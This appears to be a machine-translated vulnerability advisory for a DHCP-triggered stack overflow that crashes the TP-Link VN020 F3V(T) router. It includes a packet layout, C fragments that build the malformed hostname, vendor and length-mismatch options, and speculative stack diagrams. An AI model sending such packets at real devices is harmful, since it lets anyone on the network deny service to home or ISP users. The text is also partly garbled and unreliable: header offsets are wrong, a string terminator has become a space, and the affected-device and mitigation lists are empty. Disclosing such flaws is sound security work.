在運行固件版本tt_v6.2.1021的TP-Link VN020 F3V(T)路由器中發現了一個關鍵的漏洞。該漏洞使遠程攻擊者能夠通過專門精心設計的DHCP發現數據包觸發基於堆棧的緩衝區溢出,從而導致拒絕服務(DOS)條件。
受影響的設備:
重要說明:由於固件的專有性,確切的內部實現細節未知。該分析基於觀察到的行為和黑盒測試。
[Basic DHCP Header]
0x00: 01 ; BOOTREQUEST
0x01: 01 ; Hardware type (Ethernet)
0x02: 06 ; Hardware address length
0x03: 00 ; Hops
0x04-0x07: XID ; Random transaction ID
0x08-0x09: 0000 ; Seconds elapsed
0x0A-0x0B: 8000 ; Flags (Broadcast)
0x0C-0x1F: 0000 ; Client/Server/Gateway IPs
0x20-0x28: MAC ; Client hardware address
0x29-0x2C: 0000 ; Padding
// Overflow trigger through hostname option
unsigned char long_hostname [ 128 ];
memset ( long_hostname , 'A' , sizeof ( long_hostname ) - 1 );
long_hostname [ 127 ] = ' ' ;
add_option ( packet , offset , 0x0C , 127 , long_hostname );
// Vendor option manipulation
unsigned char vendor_specific [] = {
0x00 , 0x14 , 0x22 , // TP-Link vendor prefix
0xFF , 0xFF , 0xFF // Trigger condition
};
add_option ( packet , offset , 0x2B , sizeof ( vendor_specific ), vendor_specific );
// Claimed vs actual length mismatch
add_option ( packet , offset , 0x3D , 0xFF , ( unsigned char []) { 0x01 });
儘管確切的內部實施尚不清楚,但觀察到的行為表明潛在的內存腐敗問題:
普通DHCP主機名處理
Stack Layout (Normal Case)
+------------------------+ Higher addresses
| Previous Frame |
+------------------------+
| Return Address (4) |
+------------------------+
| Saved EBP (4) |
+------------------------+
| |
| Hostname Buffer |
| (64 bytes) |
| |
+------------------------+ Lower addresses
| Other Variables |
+------------------------+
路由器內有可能發生什麼?
Stack Layout (Overflow Case)
+------------------------+ Higher addresses
| Previous Frame |
+------------------------+
| Overwritten Return |
+------------------------+
| Overwritten EBP | <- Unknown state corruption
+------------------------+
| Overflow Data | <- 127 bytes of 'A'
| ... |
+------------------------+ Lower addresses
| Other Variables | <- Potentially corrupted
+------------------------+
這是理論上的,並且某些細節可能不是完全準確的,因為TP-Link僅向ISP提供了該路由器的固件。
路由器也可以嘗試嘗試自我重新啟動自我,如此處所示,如下所示:
目前沒有官方補丁。臨時緩解包括:
穆罕默德·馬塔拉(Mohamed Maatallah)